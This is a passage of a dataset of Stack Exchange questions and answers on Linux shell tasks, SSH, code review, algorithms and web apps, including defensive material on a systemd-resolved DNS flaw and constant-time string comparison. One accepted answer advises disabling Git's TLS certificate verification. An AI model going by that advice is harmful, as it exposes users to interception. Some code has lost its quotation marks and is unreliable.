addresses and port numbers above and below are fictitious The lines with port numbers xx, yy and anything in between are myassumption, not something that I know for a fact. I set up a cron job which runs every minute pings another VPS of mine, running apache2 In the apache2 logs, I can see the origin IP address changing from 50.1.2.3 to 175.41.42.43, when VPN is active, so VPN is working fineOpenVPN logs show these:UDPv4 link remote: [AF_INET]175.41.42.43:1197[ProviderName] Peer Connection Initiated with [AF_INET]175.41.42.43:1197TUN/TAP device tun0 openeddo_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0sbin/ip link set dev tun0 up mtu 1500/sbin/ip addr add dev tun0 local 10.80.70.60 peer 10.80.70.61At this point, I would like to be able to ssh from myhome to My VPS in the picture, while the VPN is up and using PuTTY.In the past, in one of my workplaces, I have been given a very strange sequence to ssh into one extremely secure server which had three @ signs in the string. So, it was jumping from box to box as I imagine, but since the jump boxes were running some version of windows OS and a proprietary app on those, there was no visibility for me to see what was happening under the wraps. So I did not pay much attention. Now I am beginning to realize, I may be in the same or similar situation.Using the IP addresses and ports in the diagram and/or log snippet, can someone tell me how I can traverse through this tunnel and access my server ?"  , "title": "ssh into a server which is connected to a VPN service"  , "tags": "ssh;openvpn;ssh tunneling;tunneling"  } 
{  "id": "_webapps.10669"  , "question": "Possible Duplicate:Facebook event: uninvite all people who are not “attending” nor “maybe” Facebook has a limit to the number of friends one can invite to an event, being 5000. After that you cannot message invitees and this is pretty terrible because you cannot communicate with people who are attending your event. When the limit is reached, one has to remove friends from the declined or maybe list before you can message guests. This takes forever!Is there a script to automatically remove all people from the decline and/or maybe lists in one click?"  , "title": "Removing guests who declined in Facebook events"  , "tags": "facebook"  } 
{  "id": "_unix.82336"  , "question": "I am running a grep on a file that is about 13G in size. It is returningBinary file file.xml matchesI was not expecting this, I thought it would return each line with my string so that I could run the following,grep searchString ./file.xml | wc -l and return a count of all the occurrences of my searchString in my large file."  , "title": "When grepping a file, grep is returning true instead of the lines, why?"  , "tags": "grep"  , "accepted_answer": "It looks like grep thinks your XML file is binary rather than text.If you want to force grep to treat your file as text regardless of the contents, you can use its --text switch (assuming GNU grep), like so:grep --text searchString ./file.xml | wc -lNote that if all you want is to count matches, it's probably better to use grep --count rather than piping through wc -l, saving you a pipe and process invocation."  } 
{  "id": "_unix.109880"  , "question": "I get the following error when accessing Github over HTTPS:error: server certificate verification failed. CAfile: /etc/ssl/certs/ca-certificates.crt CRLfile: noneThis is because I don't have any certificates in /etc/ssl/certs/. I know how to fix this problem. I can install the package ca-certificates from Debian repository. The problem is, however, that this will install all certificates (thousands) which I don't necessarily want to accept/trust.How can I install certificate for Github only?a Subproblem/SubquestionOn another machine, where the package ca-certificates is already installed and git works, I have noticed that some certificates in /etc/ssl/certs/ are one-certificate-per-file and other are many-certificates-in-one-file. The particular file containing Github certificate, /etc/ssl/certs/ca-certificates.crt contains over 150 other certificates:$ grep 'BEGIN CERTIFICATE' /etc/ssl/certs/ca-certificates.crt | wc -l159How can I find which one out of these 159 certificate is the one I need? (other than brute force - slicing the file in halves and checking both halves, repeating while n > 1)."  , "title": "adding SSL certificate for Github only (not all certificates from ca-certificates package)"  , "tags": "git;ssl;certificates;github"  , "accepted_answer": "In order to access your Github you need to do it via ssh. So you need to add your ssh public key to github. After that you are able to access github via ssh i.e.:git init git@github.com:yourname/yourrepo.gitSee also: Github: generating ssh keys, WikiHow[Edit #1]without certificate checks:GIT_SSL_NO_VERIFY=true git clone https://github.com/p/repo.gitor authenticatedGIT_SSL_NO_VERIFY=true git clone https://user@pass:github.com/p/repo.gitFor me it is still not clear what are you asking for, because you know that installing ca-certificates will fix the problem.[Edit #2]Ok, the other question was how to have only the certificate which is needed to access github.com via httpsOpen your browser and navigate to https://github.com/.Klick on the green name on the left from https:// and klick onCertificates. On the Details tab, you'll see the certificate chain, which is:DigiCert ...  DigiCert ...   github.com ...Export each of the DigiCert certicates to a file.copy the files to /etc/ssl/certs/run c_rehash which cat all certificates to ca-certificates.crtyou are done.As I said, I am not a friend of such actions because github can change the CA's anytime, so it will always result in additional work."  } 
{  "id": "_unix.374397"  , "question": "A new vulnerability has discovered on the systemd package called Evil DNS allowing the remote control of a linux machine. From the security-tracker.debian , the debian Stretch , Buster and Sid are vulnerable. ( Also affect a various Linux distro with Systemd)System check:On Debian Stretch , my systemd --version is systemd 232 before and after the system update.The systemctl status systemd-resolved.service command say that the systemd-resolved is disabled.How to easily understand and mitigate the Evil DNS remote attack under linux systems? Does stopping the systemd-resolved service is sufficient to prevent the Evil DNS attack?"  , "title": "How to understand and mitigate the Evil DNS remote attack under linux systems?"  , "tags": "linux;debian;systemd;vulnerability;systemd resolved"  , "accepted_answer": "As per the Ubuntu security notice, the issue only affects systemd-resolved (this can be confirmed by looking at the patch fixing the issue). So a system which isnt running systemd-resolved isnt exposed, and stopping systemd-resolved is sufficient to prevent the attack.This is the reason why the Debian tracker mentions [stretch] - systemd  (Minor issue, systemd-resolved not enabled by default), meaning that while Debian 9 does include the affected code, its a minor issue and wont result in a security advisory. You can receive notification of the fix in Debian 9 or later by subscribing to the corresponding Debian bug."  } 
{  "id": "_cogsci.530"  , "question": "Apple based their Retina Display on the following claim, as cited by Wikipedia:The display has a contrast ratio of 800:1. The screen is marketed by Apple as the Retina Display, based on the assertion that a display of approximately 300 ppi at a distance of 12 inches (305 mm) from one's eye, or 57 arcseconds per pixel is the maximum amount of detail that the human retina can perceive.However some have stated that the resolution of the human retina is significantly higher than Apple's claim:Soneira stated that the resolution of the human retina is higher than claimed by Apple, working out to 477 ppi at 12 inches (305 mm) from the eyes, or 36 arcseconds per pixel.[44]My impression of the human eye's resolution has been that it's significantly higher than the Retina display.Is there any objective evidence that supports or refutes Apple's claim that the Retina display matches human eye resolution? Have any studies specifically been done to determine whether humans can differentiate Retina displays and higher resolution displays at the same distance?"  , "title": "Is Apple's iPhone Retina Display really accurate to human eye resolution?"  , "tags": "perception;vision;sensation;devices"  } 
{  "id": "_unix.293851"  , "question": "I have this file:  1  2  2  7  3  4  4  7  5  3  6  7  7  1  8  2  9  4And my desired output is  1 13 2 17 3 7In my input i have 9 rows and i want to reduce it to three rows while preserving the total amount of 2nd column. For example 1 in 1st column represnts 1,2,3 and 13 in 2nd column, 1st row represent addition (2+4+7) and so on.. Any idea? may be by using awk/ perl or any other linux tool."  , "title": "Reducing the complexity of the data in text file"  , "tags": "text processing;awk;perl"  , "accepted_answer": "Here is an awk solution:awk '{ s+=$2; if (!(NR%3)) { k++; print k,s; s=0 } };     END { if (NR%3) { k++; print k, s } }' file.txtIt ignores the first column, preferring to generate it in k as an output row number. The second column is summed in s, and every three lines ((NR % 3) == 0) it's output and the accumulator reset. Finally, if we have any left-over lines we output the remaining sum.Output from the example file1 132 173 7Just for completeness, here is a DRY version that uses a function to handle the repeated code from the modulo-3 and END blocks:awk 'function outsum() { print ++k,s; s=0 };     { s+=$2; if (!(NR%3)) { outsum() } };     END { if (NR%3) { outsum() } }' file.txt"  } 
{  "id": "_cstheory.32125"  , "question": "What are the main results and/or literature on the (self) halting problemfor other machines than Turing machines? Alternatively, what would bethe right keywords or tags to search for it.I am considering of course the ability to determine halting on giveninput of automata in a family $F$ by one of the members of $F$,i.e. the $F$-decidability of the halting problem for $F$-automata.I am not here interested in hypercomputation, but rather inhypocomputation, i.e. computational models that are weaker thanTuring machines.One problem I looked at is the definition of halting fornon-deterministic models of computation, since non-determinism canmake a difference for PDA and possibly for LBA. I asked a question onthat, Defining the halting problem for non-deterministic automata, butwas a bit disappointed by answers, and ended up answering it myself (how well, I do not know).Other issues I have in mind are:what would be a proper definition of a family of automata defininga model of computation? Should it satisfy some closure property or other?The reason is that one can contrive simple collections of automata suchthat one of them will decide halting for the whole family. But itdoes not seem very meaningful, if that is all the family has to offer.when asking one automaton $H$ to decide on halting of automaton $A$ oninput $I$, is one free to encode $A$ and $I$ in whatever wayis deemed convenient?I am not even sure whether stating that there is a standardencoding has any meaning.I realize the question is open. But I do not know how much may existas possible answer, possibly little. If it is too wide, suggestions totighten it would be welcome."  , "title": "The halting problem in computational models weaker than Turing machines"  , "tags": "computability;halting problem"  } 
{  "id": "_cs.75063"  , "question": "I just came across the maximum zigzag sequence problem, defined as follows:A zigzag sequence is defined as a sequence of numbers such that the difference between two consecutive numbers alternates between positive and negative.Given a an array of N integer number, find the length of the longest zigzag subsequence. A subsequence is formed by deleting zero or more elements of the original sequence, but preserving the order in the original sequence. For example given the array {1, 2, 4, 2, 3, 5, 1} the subsequence {1, 4, 2, 5, 1} is the longest zigzag.A sequence of one element is a trivial zigzag of length 1.I've found several references to a dynamic programming formulation of the solution which is O(N^2) and very complex. See for example thisHowever, I've come with a much simpler solution with O(N) and based on finding all the local maximum and minimum of the original sequence, that is, the elements of which the sign of the difference between consecutive elements change. Here is the code in Java: private static int sign(int n){     if(n > 0)       return 1;     if (n < 0)       return -1;     return 0;  }  public static int zigZagLength(int[] sequence){  if (sequence.length = 0)     return 0;  int lastDiff = 0;  int length=1;  for(int i=1;i<sequence.length;i++){    int diff = sign(sequence[i] - sequence[i-1]);    if((diff !=0) && (diff != lastDiff)){       lastDiff=diff;       length++;    }    }  return length;  }Apparently,this approach has also been proposed elsewhere. My question is, am I missing something that makes this simple solution wrong?Note: I originally asked this question in Code review Stack, but was considered off-topic,as it doesn't relate to code style but to the solution."  , "title": "ZigZag sequence without dynamic programming"  , "tags": "dynamic programming;subsequences"  } 
{  "id": "_unix.227205"  , "question": "I'm using the Logitech t360 bluetooth mouse with GS 3.16. It work fine, but according to this it should have various options for gestures (on windows).In Linux, scrolling works fine and also two fingers left and right swipe works in chrome or nautilus for back and fwd navigation.What I would like to achieve on linux is:Tap: instead of left and right click, I would like to use tapOverview mode: can I enable any of the available gestures for entering the overview mode (the one that is triggered by pressing the super key)?"  , "title": "Logitech t630 and GNOME shell"  , "tags": "gnome;mouse gestures"  , "accepted_answer": "Ok I made some good progress.First I used xinput test Ultrathin Touch Mouse to see what happens when iteracting with the mouse and I found out that:No input is provided by the mouse on single tap. So perhaps the mouse itself is not sending single tapsWhen double tapping with two-fingers, the mouse sends a char 134 keydown and keyup eventsChar 134 is Super_R (right hand side Super key).The I looked with dconf-editor into /org/gnome/mutter/overlay-key and I saw that is bound to Super_L (left hand side super key).Now I had two options:Option 1: Change /org/gnome/mutter/overlay-key to Super_R and double tap with two-fingers on my mouse started working as desired (showing the overview mode). However that prevents Super_L to do the same. And since I'm on a laptop and I only have left hand super key, that solution is not very handy, so I went forOption 2: Map Super_R to Super_L:Install xbindkeys and xdotoolCreate ~/.xbindkeysrc file and add the following:xdotool key Super_L    c:134Finally run (and also put in you startup items) xbindkeysBasically, when I double tap with two fingers on my mouse, it sends a Super_R key press that is intercepted by xbindkeys that in turn simulates a Super_L keypress via xdotool as defined in ~/.xbindkeysrc file.I hope that this could help other people to better integrate their mouse gestures with their DE."  } 
{  "id": "_unix.3127"  , "question": "Mail logs are incredibly difficult to read... how could I ouput a blank line between each line printed on the command line. For example say, i'm grep-ing the log. That way multiple wrapped lines aren't being confused."  , "title": "how do I add newlines between lines printed on the command line?"  , "tags": "command line;shell"  , "accepted_answer": "sed G # option: g G    Copy/append hold space to pattern space.G is not often used, but is nice for this purpose. sed maintains two buffer spaces: the pattern spaceand the hold space. The lines processed by sed usually flow through the pattern space as various commands operate on its contents (s///, p, etc.); the hold space starts out empty and is only used by some commands.The G command appends a newline and the contents of the hold space to the pattern space. The above sed program never puts anything in the hold space, so G effectively appends just a newline to every line that is processed."  } 
{  "id": "_unix.194325"  , "question": "Propertyserver1=abc,def,ghcserver2=xyz,tes,iuy#!/bin/shecho $server1abc,def,ghcecho $HOSTNAMEserver1with those info above, I want to output the output abc,def,ghc in a test variable. echo \\$$HOSTNAME$server1bash-4.1$ test=`echo \\$$HOSTNAME`bash-4.1$ echo $test8722HOSTNAMEHow can I get this done in perl/bash?"  , "title": "echo $HOSTNAME result become key to a variable"  , "tags": "bash;shell"  } 
{  "id": "_cstheory.4798"  , "question": "Is the AND logic function considered to be a bent function? If it is, how could one make a hyper-bent funtion using logic gates? Thank you (two questions in one: very efficient :) )"  , "title": "Bent and hyper-bent functions"  , "tags": "co.combinatorics;cr.crypto security;boolean functions"  } 
{  "id": "_datascience.17885"  , "question": "Original blog post claims that it is possible to get 95% accuracy on the validation set (20 Newsgroup dataset) after only 2 epochs using pretrained word embeddings (glove.6B.100d). All code is located here. I did not changed anything in this example but getting only 40% accuracy on the validation set after 2 epochs and 75% after 10 epochs. I can't get to 95% accuracy even after 20 epochs. Switching from tensorflow to theano backend do not make any significant change. I'm using Keras 2.0.2, tensorflow-gpu 1.0.1, theano 0.9.0, python 2.7.12. What I'm doing wrong?"  , "title": "Getting low accuracy on keras pretrained word embeddings example"  , "tags": "python;tensorflow;keras"  , "accepted_answer": "The code has been changed to remove headers.  See comment on github:Newsgroups message contains header like 'Newsgroups: alt.atheism', which inflates the accuracy to 0.95 (2 epochs).After removing the header, the val accuracy is 0.47 (2 epochs) and 0.71 (10 epochs).https://github.com/fchollet/keras/pull/5585This confused me for days!"  } 
{  "id": "_webapps.51904"  , "question": "How can I create an account without downloading Instagram?"  , "title": "Can I create an Instagram account without downloading the app?"  , "tags": "instagram;user accounts"  } 
{  "id": "_scicomp.27351"  , "question": "In a software project that I'm working on, certain computations are vastly easier for dense low-rank matrices.  Some problem instances involve dense low-rank matrices, but they're given to me in full, rather than as factors, so I'll have to check the rank and factor the matrix if I want to take advantage of the low-rank structure.The matrices in question are typically fully or nearly fully dense, with n ranging from one hundred up to a few thousand.  If a matrix has low rank (say less than 5 to 10), then computing the SVD and using it form a low-rank factorization is worth the effort.  However, if the matrix is not of low rank, then the effort would be wasted.  Thus I'd like to find a fast and reasonably reliable way of determining whether or not the rank is low before investing the effort to do a full SVD factorization.  If at any point it becomes clear that the rank is above the cutoff, the process can stop immediately.  If the procedure mistakenly declares the matrix to be of low rank when it isn't, this isn't a huge issue, since I'd still be doing a full SVD to confirm the low rank and find a low-rank factorization.  Options that I've considered include a rank revealing LU or QR factorization followed by a full SVD as the check.  Are there other approaches that I should consider?  "  , "title": "Rapidly determining whether or not a dense matrix is of low rank"  , "tags": "linear algebra;matrices;lapack;rank;matrix factorization"  } 
{  "id": "_reverseengineering.15446"  , "question": "I am trying to figure out the encoding for unconditional JMPs on SPARC, i.e the JMP. After disassembling a few binaries.In my IDA disassembly the encoding for JMP %g1 is:81 c0 40 00 Digging through the spark manuals, I can't seem to find a record of how this is encoded. I am also confused as to why IDA refers to a JMP as opposed to the JMPL in the docs. The JMPL encoding recommendations given in the SPARC9 manual are a little arcane to me and I struggle with what they are getting at:10-RD-OP3-RS1-i-[-]-rs2 or 10-RD-OP3-RS1-i-siMM3If either of the low-order two bits of the jump address is nonzero, a mem_address_not_alignedexception occursWell, I'm not sure how that squares with the instruction that IDA found. Can someone break down how this maps to JMP %g1? How would this change for JMP %g2? "  , "title": "What is the encoding format for unconditional Jumps on SPARC/SPARC64?"  , "tags": "encodings;sparc;asm"  , "accepted_answer": "81 c0 40 00 can be broken down as follows    10 00000 111000 00001 0 0000000000000^--op1   ^--rd         ^--op3                ^--rs1                      ^--i                         ^--rs2/simmm13To change the target from %g1 to %g2, just change the rs1 field from 00001 to 00010.The 'L' is simply an artifact of at&t syntax vs intel syntax. In at&t syntax, the instruction name encodes information about the argument size. In intel syntax, that's done via the decorating of arguments."  } 
{  "id": "_cstheory.11055"  , "question": "I am reading Harrow, Hassidim, and Lloyd's paper Quantum algorithms for linear systems of equations. On the third page of that paper, they writeNext we apply the conditional Hamiltonian evolution $\\sum_{\\tau=0}^{T-1} \\left|\\tau\\right>\\left<\\tau\\right|^{C}\\otimes e^{iA\\tau t_{o}/T}$ on $\\left|\\Psi_{0}\\right>^{C}\\otimes\\left|b\\right>\\dots$For the life of me, I cannot figure out the meaning of the $C$. What is it doing there? How would $\\sum_{\\tau=0}^{T-1} \\left|\\tau\\right>\\left<\\tau\\right|^{C}\\otimes e^{iA\\tau t_{o}/T}$ act on (say) $\\left|0\\right>\\otimes \\left|0\\right>$ or $\\left|1\\right>\\otimes \\left|0\\right>$? "  , "title": "Notation for a Conditional Hamiltonian Evolution Operator"  , "tags": "quantum computing;notation"  , "accepted_answer": "I remember struggling with this very same question! Ultimately I concluded that the $C$ is just a notational device (it doesn't represent any mathematical operation), just to indicate that, for a specific $\\tau$, the Hamiltonian evolution operator $e^{iA\\tau t_0/T}$ is performed on $\\left|b\\right>$, but only when conditioned on $\\left|b\\right>$ being tensored with $\\left|\\tau\\right>$. If you ignore the $C$'s, I think a calculation will show that you just apply the operator $\\sum_{\\tau=0}^{T-1} \\left|\\tau\\right>\\left<\\tau\\right|\\otimes e^{iA\\tau t_{o}/T}$ as-is. I hope this helps."  } 
{  "id": "_codereview.115277"  , "question": "I'm looking for a fast OR simple way to calculate the volume of a user-entered cylinder.  Here is my solution:#include <iostream>using namespace std;#include <math.h>int main(){    long double pi = acos(-1);    cout.precision(1000);    long double radius;    long double volume;    long double height;    cout << Hello to the cylinder volume solver! << endl;    cout << Please enter the cylinder's radius: ;    cin >> radius;    long double radius_sq = radius * radius;    cout << endl << Please enter the cylinder's height: ;    cin >> height;    volume = pi * radius_sq * height;    cout << endl << The cylinder's volume is  << volume << . << endl;    return 0;}It's obvious to see that I'm a new programmer from the way I wrote this....which is why I want to learn from your remarks."  , "title": "Calculate volume of a cylinder with user input"  , "tags": "c++;performance;beginner"  , "accepted_answer": "Your implementation is quite simple,but a bit hard to read:It's a wall of code, with no vertical spacing to visual separate closely related groupsThe ordering of statements is haphazard, with no discernible underlying logicConsider this alternative:#include <iostream>#include <cmath>long double calculateCylinderVolume(long double radius, long double height){    return acos(-1) * radius * radius * height;}int main(){    std::cout << Hello to the cylinder volume solver!\\n;    std::cout << Please enter the cylinder's radius: ;    long double radius;    std::cin >> radius;    std::cout << \\nPlease enter the cylinder's height: ;    long double height;    std::cin >> height;    std::cout.precision(1000);    std::cout << \\nThe cylinder's volume is         << calculateCylinderVolume(radius, height) << .\\n;}Notice that:variables are not declared sooner than really neededthe std::cout.precision(1000); is delayed until it's actually neededthe blank lines visually separate the closely related statements, improving readabilityOther minor improvements:using namespace std is considered bad practicereturn 0 at the end of main is unnecessary\\n is more efficient than std::endl#include <cmath> instead of #include <math.h>, as pointed out by @FredLarson"  } 
{  "id": "_unix.75061"  , "question": "I've been searching everywhere on how to round the corner of the right-click context menus. Every other widget in GTK can have rounded corners but context menus for some reason. Why is it that this is much more difficult than any other widget? I've tried modifying the css styles  for Ambience in gtk-widgets.css, but the rounding attributes do not apply.Why isn't there any rounding support for context menus? I've read that I have to enable rgba support for context menus, so how would I go about doing that?"  , "title": "Can't round the corners of menus for gtk?"  , "tags": "gtk"  } 
{  "id": "_unix.48554"  , "question": "I keep getting this error and have tried several ways discussed online to fix this and none are working for me. I have setup SSH keys so when I run 'ssh newton@host.com' it automatically logs me in, I have also set this user in visudo to be 'newton ALL=(ALL:ALL) ALL'I then also tried to add 'newton ALL=NOPASSWD: /var/www/script.sh'Unfortunately everytime I run ssh newton@host.com 'sudo /var/www/script.sh' from cygwin I get back. I have also tried to add -t -t but then it prompts me for the password.total size is 21209180  speedup is 314.69sudo: no tty present and no askpass program specifiedSorry, try again.sudo: no tty present and no askpass program specifiedSorry, try again.sudo: no tty present and no askpass program specifiedSorry, try again.sudo: 3 incorrect password attemptssudo: no tty present and no askpass program specifiedSorry, try again.sudo: no tty present and no askpass program specifiedSorry, try again.sudo: no tty present and no askpass program specifiedSorry, try again.sudo: 3 incorrect password attempts"  , "title": "sudo over ssh: no tty present and no askpass program specified"  , "tags": "shell;ssh;sudo"  } 
{  "id": "_scicomp.4695"  , "question": "I read about computational science on Wikipedia, but my understanding is not very clear.Does computational science involve programming? How different is computational science from computational _____, where the blank could be any discipline (materials science, engineering, chemistry, biology, and so on)? (I will be doing computational materials science.)"  , "title": "Does Computational Science involve programming?"  , "tags": "computational chemistry;education"  } 
{  "id": "_webapps.90463"  , "question": "I need to extract the price from this website using importXML on Google Spreadsheets.Here is a producthttps://en-sa.wadi.com/apple-iphone-6s-16-gb-4g-rose-gold-with-facetime-61616.htmlThe issue is they are using AngularJS, so the typical method is not working.This is what I was using earlier, but it's no longer working.=REGEXEXTRACT(REGEXREPLACE(ImportXML(https://en-sa.wadi.com/sony-xperia-z3-16-gb-4g-lte-black-dual-sim-355.html, //div[@class='info-module other-sellers']//p), {{ctrl.selectedSupplier.suppliers.length-1}}, ),[0-9]+)"  , "title": "How can I extract the price using importxml from an AngularJS site?"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.211224"  , "question": "I'm doing my best to configure krfb to start automatically after machine starts, but even if I start it after system boots, it always starts with sharing disabled. Is there any option I can pass on command line or option in krfbrc to make it accept connections after starting?"  , "title": "Setup krfb so it starts accepting connections"  , "tags": "kde"  } 
{  "id": "_unix.103862"  , "question": "I have a program that does a large a amount of work (takes about 4-5 hours) that gets started by cron when all the data it works with becomes available. Sometimes, when I  am waiting for it to finish, I would like to be able to have another (interactive) program start when it finishes. the wait call looks promising but will only wait for children."  , "title": "How do I wait on a program started in another shell"  , "tags": "shell script;process"  , "accepted_answer": "I Definitely prefer the EDIT #3 solution (see bellow).if its not in the same shell use a while loop with condition on ps -p returning true. Put a sleep in the loop to reduce processor usage.while ps -p <pid> >/dev/null 2>&1do   sleep 10done or if your UNIX is supporting /proc (for instance HP-UX still does not).while [[ -d /proc/<pid> ]]do     sleep 10doneIf you want a timeout timeout=6  # timeout after 1mn  while ((timeout > 0)) && ps -p <pid> >/dev/null 2>&1do   sleep 10   ((timeout -= 1))done EDIT #1There is an other way : don't use cron. Use the batch command to stack your jobs.For instance you could daily stacks all your jobs. Batch can be tuned to allow some parallelism so a blocked job will not stops the all stack (It depends on the operating system).EDIT #2Create a fifo in your home directory:$ mkfifo ~/tataat the end of your job:echo it's done > ~/tataat the start of the other job (the one who is waiting):cat ~/tata It's not polling it is old good blocking IO.EDIT #3Using signals: At the begin of the script(s) who is(are) waiting : echo $$ >>~/WeAreStoppedkill -STOP $$at the end of your long job :if [[ -f ~/WeAreStopped ]] ; then    xargs kill -CONT < ~/WeAreStopped    rm ~/WeAreStoppedfi"  } 
{  "id": "_webmaster.33955"  , "question": "I want to get a domain for my site. The site's topic would be about Vienna, but the content will be in English. I was thinking, if I should get .com domain or .at domain. .at is both much cheaper and easier to get (there is less chance that my desired phrase is already registered). Is there any disadvantage in terms of SEO and page rank, if my domain does not end with .com? The site will be in English and targeted not just for Austria, but globally, mostly foreign tourists.I don't care if it's easy to remember the address, I expect most traffic to be from search engines anyway. "  , "title": "Advantages of country TLD vs. .com"  , "tags": "seo;domains;top level domains"  , "accepted_answer": "Google, and probably other search engines too, uses ccTLDs as a strong signal that a site is intended for a specific country. Using .at, therefore, wouldn't be ideal for what you describe.So if your target is global avoid .at, but you needn't use .com - any gTLD should do the trick, and probably be cheaper.Sources:http://support.google.com/webmasters/bin/answer.py?hl=en&answer=182192, especially: ccTLDs [] are tied to a specific country (for example .de for Germany, .cn for China), and therefore are a strong signal to both users and search engines that your site is explicitly intended for a certain country. [] We also treat some vanity ccTLDs (such as .tv, .me, etc.) as gTLDs, as we've found that users and webmasters frequently see these as being more generic than country-targetedEdited for relevance, bold emphasis mine."  } 
{  "id": "_softwareengineering.23178"  , "question": "Unit: A multithreaded unit reads data of a queue and processes it, sending it off to another queue. When the last item is processed (null value found) the process stops.Test: Place a set of known data in the queue and run. Check that data placed on the output queue is correct.If the unit is incorrectly programmed, it may continue trying to read and process nulls of the queue. This may or may not result in an exception (using Java as the example language). So this test could conceivably cause an infinite loop.Should the test keep track of the number of items read off the queue and throw an error if more than the specified number of elements is read? or should the test continue to run, knowing that the runner(human) will see that it is not ending?"  , "title": "Should a unit/integration test that may result in an infinite loop have a clear assertion?"  , "tags": "java;testing;unit testing"  , "accepted_answer": "Tests should always terminate (ideally quickly!).If you have a test that doesn't terminate, your continuous integration server will fail its test run, which is great, but the failure will likely be your test suite took too long so I killed it, which isn't very helpful.In this case, if you have N items in the list and you've read N + 2 items already, then your test should fail, and explain why (say, a message like test failed because it was about to loop infinitely)."  } 
{  "id": "_unix.84880"  , "question": "Can anyone explain what the interrupt remapping is?Would turning this feature off in the Linux kernel cause any problems, or bring any benefits?"  , "title": "What is meant by interrupt remapping in Linux?"  , "tags": "linux kernel"  } 
{  "id": "_codereview.35189"  , "question": "I have these lines of code in my view:<?php    $count = count($product->getTags());    $tagsStr = '';    foreach($product->getTags() as $key => $tag){        $tagsStr.=   . $tag->getTag();        if(($key == 0 && $count < 1) || ($key == 0 && $count >1 && $key != $count)){            $tagsStr .= ',';        }    } ?>It prints strings like:Fish, OnionsOr Fish, Onions, EggsAll these items are stored in an ArrayCollection $product->getTags();.I find that these are a lot of lines for completing something this simple. I was wondering if you have ideas on simplifying this code."  , "title": "Building a string made easier?"  , "tags": "php;strings"  , "accepted_answer": "$tagsStr = implode(', ', array_map(function ($tag) { return $tag->getTag(); }, $product->getTags()->toArray()));"  } 
{  "id": "_cs.27916"  , "question": "I've found many articles describing iterative procedures to reach Byzantine agreement on a graph (for instance http://www.crhc.illinois.edu/wireless/papers/icdcn14-vaidya.pdf or http://arxiv.org/pdf/1203.1888v1.pdf) but they all assume that a fraction of the peers aren't faulty or malicious.Are there procedures to reach consensus among honest peers when there is an unbounded amount of faulty peers, but such faulty peers are only very sparsely connected to the cluster of honest peers?A typical example would be a web of trust where it is trivial for an attacker to create millions of peers, but hard to receive trust from the main cluster.I realize that, as such, the problem isn't very well defined. The honest cluster may have sub clusters, and it's unclear why they should be able to influence each other's consensus, while clusters of dishonest nodes may not. Typically, a solution would exhibit a threshold effect depending on connectedness."  , "title": "Iterative Byzantine consensus in directed graphs with unbounded malicious nodes"  , "tags": "algorithms;graph theory;cryptography;fault tolerance"  } 
{  "id": "_unix.181095"  , "question": "I have this command:tar -cf - input/* | split --bytes=1m Which splits my huge gz files into small ones. This works fine.However I want the output (the small files) to be created in the input/ directory. How to achieve?"  , "title": "Tar Create and Split files into subdir"  , "tags": "bash;tar;split"  , "accepted_answer": "You can pipe into a subshell and call cd in there:tar -cf - input/* | ( cd input; split --bytes=1m )Just be careful to not call this twice, because the next time, the small files will be part of the tar archive too. It's generally not a good idea to put the archive back into the original directory.Also, your tar command is currently not compressing, you are just putting files together and splitting them apart again into same-sized chunks."  } 
{  "id": "_unix.345726"  , "question": "Can someone tell me how to install the ls command in RedHat Linux?"  , "title": "How to install ls command in redhat linux"  , "tags": "rhel"  } 
{  "id": "_unix.105954"  , "question": "I'm using Lubuntu 11.10. I tried the keyboard layout applet from lxpanel but it does not work and I don't know why. I can change the layout to Russian using $ setxkbmap ruand it works! Nice! But the problem is: how to set it back to br using the Russian characters? That is, what should I type on a Russian keyboard to get the same result as $ setxkbmap br"  , "title": "Change keyboard layout using Cyryllic character"  , "tags": "x11;keyboard layout;lubuntu"  } 
{  "id": "_codereview.13512"  , "question": "I've been advised that when checking the password hash for a user I should use a string comparison function that always takes the same amount of time, to avoid timing attacks.So I wrote this://this is a constant time string compare,//it does not exit early even if the strings don't match//it is case sensitve//the time to compare is the time needed for the shorter string//(if they are not the same length)function time_strcmp($str1, $str2){  $res = $str1 ^ $str2;  $ret = strlen($str1) ^ strlen($str2); //not the same length, then fail ($ret != 0)  for($i = strlen($res) - 1; $i >= 0; $i--) $ret += ord($res[$i]);  return !$ret;}(I do it this way instead of checking equality in a loop just in case of optimization. Not sure if PHP does any, but it might in the future.)Anyway, since this is such a critical part of the code, returning true when it shouldn't would completely defeat security.Can anyone give me a code review? Or a better way?"  , "title": "Constant time string comparision in PHP to prevent timing attacks"  , "tags": "php;strings;security"  , "accepted_answer": "DisclaimerI have no formal education in security or cryptography, nor any kind of meaningful experience with either.This post is basically me rambling, hopefully correctly :-).CorrectnessThis is a very informal (and rough) analysis, but hopefully it will assure you that your function is indeed correct.function time_strcmp($str1, $str2){    $res = $str1 ^ $str2;    $ret = strlen($str1) ^ strlen($str2); //not the same length, then fail ($ret != 0)    for($i = strlen($res) - 1; $i >= 0; $i--) $ret += ord($res[$i]);    return !$ret;}Assume that $str1 and $str2 are arrays of bytes, each n1 and n2 bytes long, respectively.In PHP, the ^ operator is defined for strings such that:$s1 ^ $s2 == chr(ord($s1[0]) ^ ord($s2[0])) . chr(ord($s1[1]) ^ ord($s2[1])) . ... chr(ord($s1[L]) ^ $s2[L])with L = min(strlen($s1), strlen($s2))You've used this to your advantage in that any matching characters bytes mask to 0, and any non-matching bytes will mask to a value that is greater than 0.So $res will be filled with 0s only if $s1 === $s2 with:$l = min(strlen($str1), strlen($str2));$s1 = substr($str1, 0, $l);$s2 = substr($str2, 0, $l);(1) So basically $res will be 0-filled only if the strings exactly match or if one of strings in its entirety is a prefix of the other.$ret = strlen($str1) ^ strlen($str2);(2) $ret will be 0 only if $str1 and $str2 are of the same length.(For later, let this be denoted $ret0)for($i = strlen($res) - 1; $i >= 0; $i--) {    $ret += ord($res[$i]);}(3) $ret will now be equal to the sum of the value of all of the bytes of $res.Let the amount added to $ret in this loop be denoted $ret1.(4) From (1), we can conclude that $ret1 will be 0 only if the strings exactly match or one of the strings is a prefix of the other.Recall:$ret = $ret0 + $ret1;From (2) and (4) we can conclude that $ret will be 0 only if strings are of the same length and no bytes differ in them.  This means that $ret will be 0 iff $str1 === $str2.So yes, your function is functionally correct.TimingI can't comment much on this.  You will of course want to make sure that the length of the shortest string is always the same, otherwise there will be a difference in timing.Also, I believe strlen() is O(1) in PHP, but you may want to verify that.Minor suggestion #1There's a very unlikely problem with adding the values of the bytes.  If there exist a sufficient number of unequal bytes, their values may exceed the maximum of an integer.  Bitwise operators are undefined (I believe) for floating types in PHP.  What you could do 